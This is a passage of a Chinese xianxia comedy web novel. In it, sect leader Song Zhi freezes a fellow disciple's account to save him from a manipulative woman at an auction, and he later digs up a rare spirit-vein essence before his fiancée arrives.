下一秒,她的耳边响起来系统的播报声:
【接触关键人物,触发关键剧情:二师兄的诗,二师兄的酸,二师兄的穷,二师兄的痛。】
宋稚:?
不愧是酸诗人二师兄,连系统任务都开始作诗了。
等等,宋稚敏锐地捕捉到了关键剧情里的“穷”。
之前宇文空没有钱,现在为什么有钱了?
宋稚心头升起来一股不妙的预感。
她立刻打开宗主账本,果然,宇文空在账目上,有了一大笔开销!
账户上显示,宇文空在一个时辰之前,支取了三万灵石!
“宇文空!”
宋稚咬牙切齿。
三年后即便是取得青云榜头名,也是要还清债务才有自由身的。
从宋稚明白了这一切之后,便再也不许宗门内弟子动用账户。
现在宇文空的个人欠债账户,不仅有之前的一百万灵石,又多了这三万的灵石。
南宫遥迢看宋稚抓狂,他慢悠悠道:“他虽然支取了,但是还没有转到自己的账户呢。”
宋稚缓缓地看向他,“此刻,我应当喊你一声,大师兄。”
心服口服,真心诚意。
宋稚是合欢宗宗主,有权限冻结宇文空的个人账户。
她唇角勾起来邪恶的笑容,将宇文空的账户锁了,并且给他发送了动账通知。
【叮。您的账户已锁定。】
此时此刻,拍卖台上,正在如火如荼地进行着纸醉金迷的花钱。
仿佛花的都不是正经的钱,而是一串数字。
一个镶嵌着七彩宝钻的法器镜子,竟然拍到了十万灵石。
一个能在失眠时候唱歌的枕头,竟然拍到了十五万灵石。
一个接一个的成交,而二楼的女子,脸上始终淡然。
显然,这里没有能让她一笑的有趣东西。
或者说,她不满意。
宋稚发现,她是整个拍卖场的焦点。
“为什么大家竞价的时候,都会下意识地往二楼看,难道其实所有人都是千金买笑?”
有一个二师兄就够大冤种的了,世界上竟然有如此多的大冤种?
宋稚不肯相信。
南宫遥迢给宋稚倒了一杯茶,往前推了推。
“找一个傻子容易,找几个傻子也不难,只是若是能多找几个傻子,钱就到手了,何乐而不为呢?”
宋稚隐约明白了:“……糟糕,二师兄不会中了杀猪盘了吧?”
一楼的宇文空格外焦灼。
他没想到一开场就如此昂贵,每个竞品的价格都是十万以上,这就显得他筹备的三万灵石不够用了。
宇文空摸了摸自己的口袋,又看了看二层楼的女子。
他咬了咬牙,不论怎么样,都要拍下一个。
直至,一炷香后,宇文空得到了自己的目标。
是一个其貌不扬的毛笔。
毛笔通体碧色,缀着绿色的坠子,笔尖则是一点金色。
这是从秘境中找到的残次法器,已经没有了能与天地感应的灵气,一般来讲,这种法器被称为废旧法器。
这个法器,仿佛是为宇文空两声定做的那般。
当听到报价三万的时候,宇文空的整个人都激动了。
“我要了!”
他喊出来一种石破天惊的震慑感。
没人抢。
大家用看傻子的目光看着宇文空:
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之前的法器起码还能用,这个法器能干什么啊?
旁边的人拉了拉宇文空的袖子,纯粹是好心提醒:“你是哪个总是写酸诗的人吧,我给你讲,这个毛笔虽然看上去能写字,好像就是你的笔,但是三万灵石是一笔不小的数目呢。”
“你筹备这笔钱筹备了好久了吧,总不能出了这扇门,就变成穷光蛋啊!”
劝阻无效。
宇文空从未觉着自己有如此光辉。
他深深地扭头,深深地看向二楼。
二楼的女子依旧没有笑,然而她的目光,却似乎为了他而流连了一瞬。
“正好三万吗……”
宋稚若有所思,进门的时候有验资登记。
除了南宫窈窕这种送上门的黑卡,一楼的人都是要验证账户上的钱之后,才会让人进来的。
也就是说……
南宫遥迢:“倒是一个黑心的,有三万就要三万。”
宋稚明白了。
不管宇文空口袋里有多少钱,最终拍卖场里都会出现与他余额相匹配的拍卖品。
【完全解锁宇文空恋爱脑剧情:】
惊鸿一瞥,误了终生。
宇文空一直在找寻能赏识他诗的女子,直至他亲眼看到了那个像是诗一样的女子,诗梦。
然而诗梦无心无情,欣赏他的诗,是假的,将他玩弄于股掌之间。后来宇文空与失踪的未婚妻成婚,大婚的前一天,宇文空决心殉情,大婚的当天,宇文空才知道自己不过是诗梦的棋子,一切都是为了杀死他背后的未婚妻颜影。
士为知己者死,宇文空的一生,就像是一场空。
宋稚看完了介绍:……
再往下看去,看着二师兄的眼神不免怜爱起来:好一个大冤种。
而此刻,大冤种宇文空站起身来,一脸激动地看着二楼的诗梦。
他准备抬起脚步,拿着新拍下的毛笔,以及他的诗集,让诗梦品鉴。
诗梦的目光终于落在他身上。
这一次,她的唇角稍稍有了一丝弧度。
宇文空看的有些呆了,便在这时,有人大声道:“付款失败了!你的账户被冻结了!”
“什么?”宇文空震惊,“这不可能!”
这绝对不可能。
刚才还查验过他的账户余额呢,怎么就被冻结了!
全场哗然。
“怎么还有人拍下来了拍卖品,还没钱付账呢??”
“就是!”
“不过想到是那个酸诗宇文空,倒也不觉着稀奇。”
宇文空听不到众人的嘲讽声。
他只眼睁睁地看着诗梦绽放到一半的笑容,就那么消逝了。
她冷冷地看着自己,旋即将目光放在了正中央的拍卖台上。
似是对他失去了所有的兴趣。
又似是失望。
宇文空脑子里空白一片。
他想要上前一步,却被人拉着上了二楼,“别看了,走,我们去二楼坐。”
宇文空甩开她:“是不是你冻结了我的账户?”
“我这是救你了,不然你还要被诈骗。”
宋稚:“我查看了你的账单,你这几年可没少给她花钱啊,五十万灵石有了吧!”
宇文空:“那是我的知音,为博知音一笑,怎么算是为她花钱呢?”
宋稚懒得理他。
南宫遥迢伸手,拎着宇文空的领子把他拎到了二楼,“少废话,宗主喊你,就得听着。”
21.二楼
宇文空对宋稚怒目而视。
如果眼刀能杀人,那么宋稚已经死了无数次。
宋稚倒是不急不慢,“你以前上过二楼吗?”
宇文空不想回答她,半晌,还是说:“没有。”
他之前能混进来算是不错的,能拍下东西,更是咬牙才能做出来的行为。
哪儿还能上传说中的二楼?
宋稚怡然自得:“那你就别急着要跟我算账,好好在二楼看一看嘛。”
她趴在二楼的栏杆那儿,托着脸看着楼下。
宇文空沉着脸,走到栏杆处,第一次从上往下,俯视着整个拍卖场。
以往都是被包裹在黑暗中的人,现在,他站在高处。
宇文空敏锐地发现了很多之前没注意到的地方。
他看到台下的人疯了一样争相竞买,他看到拍卖台上被放上来一个又一个稀奇古怪的玩意,他转过身,便能看到同样在二楼的,手背撑着下巴的,往下俯视的诗梦。
诗梦距离他很近,好像是伸手就能触碰到。
宇文空看到台下的人时不时地将视线投向二楼。
他们也在追寻着诗梦的肯定。
诗梦的包厢是在二楼正中央,灯火通明。
而大师兄所在的包厢,与其他几个包厢一样,昏暗低沉,静谧优雅。
或者说,诗梦的包厢,是整个拍卖场里唯一的光源。
也是刻意展示给看客的,一场戏。
宇文空不是傻子。
当他站在二楼的时候,便明白了一切。
宇文空又想作诗了。
这种诗性刚刚弥散起来,拍卖会便结束了。
全场灯光亮起。
唯一的光源,诗梦的包厢灯光,却暗了下来。
宇文空下意识地跟了出去。
南宫遥迢掀了掀眼皮,没到。
二楼空荡荡的走廊里,诗梦推开门出去,她正在与一个高大的男子笑着说些什么。
虽然听不到他们的话语,而诗梦的笑容恍若冰雪初融。
看上去极为熟稔。
这么近的距离,却像是很远。
在角落里的宇文空呆愣着,看着诗梦笑着与男子走远了。
直至二楼里再无声音。
宇文空失魂落魄地回到包厢里。
宋稚正在与南宫遥迢头对头,研究着什么。
宇文空:“你们俩是不是早就知道了,非得看我的笑话?”
宋稚扭头看他:“看样子醒悟了啊?”
宇文空:……
他不是自己醒悟的,是被宋稚和大师兄摁着头醒悟的。
“诗梦身边的那个男人,是谁?”
南宫遥迢懒懒道:“是谁不重要,重要的是你的未婚妻出现了,她没死。”
这个消息同时震惊了宇文空和宋稚。
宋稚眼睛瞪圆了。
剧情进展这么快吗?
好险,幸亏今天宇文空醒悟了,不然今天就得沦陷。
宇文空对诗梦死心了,他感觉自己的心也死了。
“既然这个世界上,容不下我这颗真心,那么我也只能顺应命运的安排,让我随波逐流吧!”
宋稚眨了眨眼:“如果你未婚妻是个好人呢?”
宇文空满脸麻木:“不关心。”
宋稚低着头看着自己的通讯器,“可是,若是她欣赏你的诗呢?”
宇文空怔住了:……
半晌,他无神痛苦的脸上划过一丝不可置信,“怎么会有人欣赏我的诗??”
因着诗梦之事,他已经自暴自弃,觉着这个世界上根本不会有人理解他的诗了。
现在宋稚说竟然有人欣赏他的诗?
宇文空热切地盯着宋稚,那种失去的精气神瞬间就回来了:“谁啊?”
宋稚看完了通讯器的内容,她将页面调出来,放在宇文空的面前:“你自己看吧。”
颜影给宋稚发消息了。
许是得知宋稚成了宗主,颜影要到了宋稚的联系方式。
【颜影:宋宗主,我之前留了几首我未婚夫的诗,然而秘境历练中遗失了,你这里可有存档?】
【宋稚:你要他诗干嘛?】
【颜影:我死里逃生,前去见他,总不好说这几年没看他的诗。】
宋稚没再回复颜影。
宇文空看了又看,他苍白的脸上渐渐浮现出愧疚。
“我与颜影只见过几次面,但是之前对她态度都很差,没想到颜影还记得我的诗。”
第一次见面,宇文空对颜影的印象特别不好。
因着要分配给高阶修士的原因,宇文空心知未来他嫁过去,就要一辈子受到颜影的支配,心头充满了愤恨。
当天晚上,他酩酊大醉,奋笔疾书,写了十几首诗歌。
再次醒来的时候,已经是三天后。
醉意让他头痛欲裂,而颜影早就离开了。
奇怪的是,他那天晚上写的诗也不见了。
宇文空还以为那是幻觉。
听完宇文空的话,宋稚震惊:“这么看,颜影是喜欢你的……还是第一面,这应该就是一见钟情吧!”
宇文空啊了一声,有些迷茫道,“有吗?”
“有没有的,见面不就知道了?”
宋稚说,“颜影刚又发了消息,说三日后会去合欢宗找你,我们抓紧时间回去吧。”
三个人站起身来,从二楼往楼下去。
再然后,便再次看到了天光大亮。
原来,已经过去了一整夜。
三个人并排走在街上。
南宫遥迢说他要去找三个学生了,宋稚冲着他挥了挥手,“早去早回,我等你的辉煌战绩!”
宇文空的脚步顿住了。
冷若冰霜的女子挡住了他的去路。
女子脸上覆盖着面纱,只看得出一双格外美丽的眸子。
当宇文空与她对视,她轻轻地抬起素手,揭开了面纱。
面纱下的朱唇微启,轻声道:“你让我看的诗集,好像还没有给我。”
是不久之前,在二楼的诗梦。
然而,是与之前截然不同的态度。
宇文空站在原地没有动。
他就像是没有看到诗梦那般,僵硬地从她身边走过去。
诗梦似是疑惑极了,她从未见过宇文空这般的冷漠。
以前她冷若冰霜,从未给宇文空好脸色看,他都哭着喊着求着找她,现在自己第一次主动找宇文空,他怎么就当做没看到。
诗梦的心底升起来一股慌乱。
这不对。
难道是因为冷淡他太久了?
谁让命令持续了三年呢?
本来诗梦接到的任务,便是为了颜影接近宇文空,没想到颜影突然失踪了。
身为七圣之一,若是失踪一年两年还行,她失踪了整整三年。
三年毫无踪影,任谁都会觉着她死了吧!
圣人一共只有七个席位,死了一个,剩余的准圣人们自然要动起来。
诗梦对于这个任务格外惫懒,反正勾着宇文空就行。
哪儿知道刚才突然收到消息,颜影竟然安然无恙地出现了!
诗梦轻移莲步,准确地挡在了宇文空面前。
“你今日买毛笔,是想送给我,对吗?我感觉到了你的心意,所以特意来答谢你。”
宇文空被迫站住脚步。
垂落的手指捏紧着手中的诗集,只觉着十分荒谬。
怎么会这样呢?
在他苦苦追寻爱情
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的时候,自己始终得不到。
而现在他心如死灰,诗梦却主动来找他。
“可是,我是有未婚妻的。”宇文空说,“我要回去找我的未婚妻了。”
诗梦垂了垂眉眼,有些难受,半晌,似是做了重要的决定:“你曾经说过你的未婚妻只有地位,而一点也不懂你。你如今回到她身边,我更加不放心你,我跟你一起走吧。”
宇文空不知道该说些什么。
他的脑子有些乱了。
宇文空沉默的时候,宋稚也在思考:颜影出现的消息,传的还挺快。
但是颜影有什么特殊的呢?值得让人特意去找到她的未婚夫下套?
两个人的对话里,出现了一个关键信息:颜影是七圣之一。
……是圣人。
这就一切说得通了。
这是针对圣人的一场阴谋。
颜影给自己的传讯里,说差点死了。
这消失的几年,大抵遭遇了很险的故事。
想到圣人只有七个人,而准圣人有一堆,宋稚不免阴谋论起来。
是不是有人故意想要颜影死啊?
此刻,宇文空说话了:“不必了,从此之后,我与你没有瓜葛。”
他的眼神里褪去了迷茫,身姿愈发挺拔。
“走吧。”他对宋稚说。
“诶!”宋稚跟上宇文空。
诗梦看着宇文空的背影,她忍不住开口,“你去哪儿?”
“去找真正欣赏我诗的人。”
他没有回头。
-
“这是你们的师叔,宇文空。”
宋稚给端木青鸟他们介绍,“他是一个很有才华的诗人。”
这次回山,宇文空几乎不认识合欢宗了。
原本的衰败景色都消失了,破旧的房屋,漏雨的房顶也没了,取而代之的是干净整洁的两层小楼。
在迎接他们回来的时候,那个叫端木青鸟的女孩子羞涩却又骄傲地说,她又用高阶木系法术造出来了两层的小楼,现在的合欢宗,一共有三栋楼啦。
这下,合欢宗就能区分教学区、休息区、娱乐区了。
宋稚伸手摸着南宫青鸟的头发,连连夸她干得漂亮。
戴着面罩的陈郁沉默半晌,说他将整个合欢宗的隐秘之地都打扫干净了,绝对不会让人潜入合欢宗。有他这个杀手在,自然是放心的。
宋稚又连忙去夸越燃,夸了一会儿,看陈郁似是不满意,仰着头看她,她福至心灵,长长的哦了一声,连忙又去摸陈郁的脑袋。
这下陈郁才满意。
越燃在旁边左蹦右跳,“还有我还有我!”
“好好好,都是好孩子。”宋稚抬手摸了摸越燃的脑袋。
这样其乐融融的场景,几乎美好的不真实。
宇文空离开合欢宗这么久,没想到回来的时候,合欢宗竟然变了。
宇文空一时之间觉着自己像是一个局外人。
直至宋稚的介绍,她说自己是一个诗人。
而三个孩子们“哇哦”一声,端木青鸟说,“是镇山石上的诗吗?确实很有意思!”
宇文空一时间有些手足无措起来。
端木青鸟沉思起来:“已然我们合欢宗里有一个诗人,那么我下次用高阶法术盖房子,就得盖一个展示的房子了。”
宋稚连连点头:“美感很重要,我觉着可以建造一个与教学楼不同的艺术厅,专门用来展示我们合欢宗的艺术作品。”
“我看行!”
宇文空被端木青鸟拉着去做规划的时候,已经恢复了自在。
他听着端木青鸟的规划,忍不住扭头看了一眼宋稚。
宋稚……真是一个奇人。
也许,合欢宗的未来,她真的能改变呢?
22.灵脉
宇文空找到宋稚的时候,有些期期艾艾的,“你冻结了我的储物袋,我现在没钱了。”
宋稚埋头整理着三年计划表,“好巧,我也是。”
宇文空面露难色,“我准备好了我的诗集,但是我的衣衫,鞋子,都需要换新的,我还想有点余钱,去买一根好看的簪子。”
宋稚依旧没抬头,“那你想的还蛮好的,就想着吧,别停。”
看宋稚油盐不进,宇文空的手啪的拍在桌子上,“宋稚!”
按照辈分说起来,宇文空确实有理由这么直呼其名。
但是宋稚完全不怕,她抬起头认真地看着宇文空:“我现在是掌门。”
“掌门怎么了!”宇文空嚷嚷着,“你总是要让人吃饭的!”
宋稚点头:“所以我包吃包住了啊。”
宇文空:……
他想到明天的见面,真是一分钱难死了英雄汉,“那你怎么样才能给我钱啊?”
“不给。”宋稚的态度很冷血无情。
“书院给的钱,为什么就不让我们用?我听他们说了,你想三年后荣登青云榜,然而青云榜又不是想上就能上的,简直是痴心妄想。”
宇文空絮絮叨叨:“这么巨额的债务,你准备还清吗?根本是不可能的事情。”
宋稚拿出来算盘,纤细的手指落在算盘上,“为什么不可能呢?”
“嗯?”
“这几日越燃探索了合欢宗的全部地点,发现了几处隐藏的矿脉,”宋稚说,“只要能好好开采矿脉,那么产出的灵石都是我们的,如果顺利的话,一个亿三年内我们就能还清。”
“不,等等,”宇文空震惊:“你说的矿脉,不会是……书院的吧?”
合欢宗的地方很小,书院的地方却很大,并且物产丰富,更有名的是那源源不断的灵矿。
合欢宗与书院毗邻,能蹭到一点灵矿,倒也不足为奇。
问题是……这是书院的矿脉!
宋稚笑眯眯道:“非也非也。”
她仔细查看过合欢宗的所有条例,也丈量过合欢宗的每一寸土地。
合欢宗虽然地方小,但是因为挨着书院,地理位置优越,也就是说,确实能蹭到书院的灵脉。
“既然我确定合欢宗的一切都是合欢宗的,那么合欢宗土地里的灵脉,自然也是合欢宗的。”
以前的合欢宗人员流动快,只是一个负责联姻的枢纽,所以也不会有人停留太长时间,以往的合欢宗宗主也很快被分配出去了,哪儿还有人管这些。
宋稚发现,她是可以合理使用一切资源的,她决定开挖灵脉!
宇文空张了张嘴,半晌颓废地坐在旁边的椅子里:“我是想一掷千金博美人一笑,但是当时不是被骗了嘛,现在我想给颜影留个好印象,结果一枚下等灵石都掏不出来……”
他垂头丧气,全身都写着一个字:丧。
宋稚油盐不进:“想要零花钱?我给你一条路。”
“什么?”
“你去宗门矿场挖灵石吧!”
宇文空缓缓张开嘴:“啊?”
宋稚认真道:“合欢宗缺一个副校长,会计,劳工……嗯,缺的很多,但是你都可以顶上。怎么样,干不干?”
宇文空感觉自己掉进了宋稚的圈套。
这哪儿是缺一个,这是缺一个团队吧?
想到明年跟颜影的会面,他咬了咬牙,“干!”
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“师叔去哪儿了?怎么没吃饭?”
晚上聚在一起吃饭的时候,青鸟左右看了看,没看到宇文空。
“他刚传讯说快挖到灵脉了,让我们先吃,不用等他。”
宋稚没想到宇文空这么好用,这么快就找到了灵脉。
虽说摸到了灵脉的位置,然而想要挖出来,可还需要一段时间呢。
宇文空真的是被明天的会面逼急了,非得干出来一些成果来。
青鸟闷着头扒拉米饭,半晌,陈郁开口:“什么时候有厨子?”
宋稚眨了眨眼:“要厨子干嘛?我做的饭不好吃吗?”
这些天来,都是宋稚在做饭。
越燃有些吃惊:“我以为你知道你做饭不好吃啊?”
“是吗??”宋稚挠了挠头,“我都是这么凑合的。”
她其实并不会做饭,现在掌握的一点点将食材弄熟的技术,纯粹是当年工作后学的。
因着整天工作繁忙,宋稚也没精力继续研究。
她以为这就算是会做饭了!
宋稚让几个人都去睡了,她熄了合欢宗的其他灯源,留下了一盏最大的灯。
这种法器灯是需要耗费灵气的,如今合欢宗欠债无数,还是要省着点用。
宋稚在灯下看着修行功法,边看边打哈欠。
就在月上中天,宋稚准备去睡觉的时候,一个黑乎乎的身影从远处过来了。
宋稚一下子就醒过来神了,“这是什么东西?”
活体黑炭?
黑炭走到宋稚面前,脚下都沾着黑泥。
宋稚眼珠子都要瞪出来了,她站起身来,看着远处,果然,边走边滴落黑泥!
“明天陈郁估计要疯了。”
打扫卫生都费劲!
宇文空的眼珠子还是白的,他神秘兮兮地伸出两个手,掌心互相扣着。
“你猜我挖到了什么?”
宋稚:“什么?”
能让宇文空挖到变成泥猴子的东西,应该很有趣吧。
宇文空嘿嘿一笑,他打开手掌,一道夺目而又不刺眼的蓝色光晕弥散开,晕染了整片黑夜。
“是灵脉之髓!”
蓝色的光一层层闪耀,从手中坠落细碎的星光,像是流淌的烟火,好看极了。
随着地上坠落的蓝色星光越来越多,地上积蓄的灵气丰盈起来,头顶上的星星似是受到感召,那一瞬间,连星光都耀眼起来。
传说中的灵脉之髓,能引动星光,窥见真实。
宋稚没想到,宇文空竟然真的挖出来了好东西。
“我要将灵脉之髓送给颜影,”宇文空嘿嘿嘿嘿地笑起来,漆黑的脸上满是羞涩,“这样我不算是空手而来了。”
宋稚有些想拍拍他肩膀鼓励一下,又实在是下不去手。
她说:“去洗洗睡吧,对了,你先冲冲再去温泉,别把温泉里弄的都是泥巴!”
“知道了!”
宇文空小心地收起灵脉之髓,那动人心魄的星光消失了。
宋稚若有所思地蹲在门口。
灵脉之髓,这种传说中的东西也能被宇文空挖到,该说他是走了狗屎运呢,还是走了狗屎运呢?
她在查灵脉的时候看到了灵脉之髓的记载。
天下的灵脉分布五国与书院,书院占据最好的地理位置,拥有六条最顶尖的灵脉,而传说中的灵脉之髓,则是一切灵脉的起源。
至今为止,也只出现过三个灵脉之髓。
算上如今宇文空挖到的,也只有四个。
“好东西,我得瞅瞅书院还有什么能挖一挖的。”
……
宋稚一早就跟着端木青鸟他们去书院了。
她深深觉着书院的好东西太多了,需要去挖掘一番。
让宋稚吃惊的是
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,她离开这些天里,青鸟他们并没有像是宋稚担心的那样受欺负,而是都交到了朋友。
端木青鸟不再是落单,而是有伙伴一起前去练武堂,前去食堂用膳。
就连一向沉默的陈郁,也有了一个看上去很话多的少年一起。
至于吸人的越燃,那就更不用说,三五成群的男孩子里,声音最大的就是他。
一切都走向了好的发展方向。
宋稚有些欣慰。
“是你!”方岗在身后喊宋稚。
宋稚转过身来,“咦,是你。”
是那天百宗书院报名时候的方岗,也算是有了一面之缘。
方岗脸上带着笑,说:“你们合欢宗的一出现,可算是引起来书院轩然大波呢,这几天端木青鸟出了不少风头,女孩子们都很喜欢她,争着跟她做朋友。”
方岗已经是书院里的重要管理一员了,负责新弟子的管理。
“这样的吗?”宋稚想到青鸟当初险些成了行尸走肉的药人,如今却完全变了样子,真是太快了。
“那你呢?最近这些天没出现,听说你去招生了?”
方岗很佩服宋稚,都说合欢宗的人没救了,偏偏突然出现了一个宋稚,将消失在所有人眼里的合欢宗人送到了台前。
现在书院里都知道,眉心里有合欢花印记的,就是最近的后起之秀。
初时有人不服气,然而他们分别挑战了端木青鸟、陈郁、越燃之后,发现他们并非传言中所说的纯粹是草包废物。
不少人被他们三个齐心协力揍得满头是包,神奇的是,就这么不打不相识,关系反倒是融洽了起来。
宋稚说:“我的修行方式有些特殊,书院里其实教不了我什么,我先把散落各地的弟子们喊回来再说。”
方岗点头:“说实话,我们现在都很想看到三年之后的青云榜争夺赛。”
至于看什么,可就两说了。
不管是看笑话,还是看奇迹,总之,一定相当的精彩。
宋稚今天来书院的目的,是想见见圣人。
听到宋稚的要求,方岗的眼睛都睁大了,“寻常人是不能直接求见圣人的,你上次已经见过一次了,这次怎么又见?”
宋稚:“我上次那不叫见吧?圣人知道我的名字,我连圣人的名字都不知道呢。”
方岗的手竖起来,“嘘……圣人的名讳不能直接喊出来,当他们成圣的时候,名讳落在天书上,便能通感天地。”
宋稚:……
咋滴,还不可说啦!
她坚持求见,方岗说:“这样吧,我求见一下任院长,让他代为通传。”
宋稚等了半天,得到了消息,圣人不在书院。
“那去哪里了?”
“好像是赴约去了。”方岗挠了挠头,“说是圣人之间在七日后有一个每年的会面。”
宋稚皱眉:“那我七日后再来。”
既然如此,那么颜影在见过宇文空之后,应该也会去会面。
在书院里见不到圣人,不如直接堵上门。
天色渐晚,距离颜影约定的时间也要到了,宋稚先自己回了合欢宗。
刚到宗门不久,天际便有一道剑光闪过。
须臾,一个白裙女子稳稳当当地落在合欢宗大门外。
宋稚正要喊着宇文空去迎接,一扭头,没人了。
我那么大一个二师兄呢?
清冷孤傲,是宋稚对颜影的第一印象。
颜影对宋稚很是客气,“宋宗主,我的未婚夫呢?”
宋稚:……
她总不能说你未婚夫羞愧到躲起来了吧!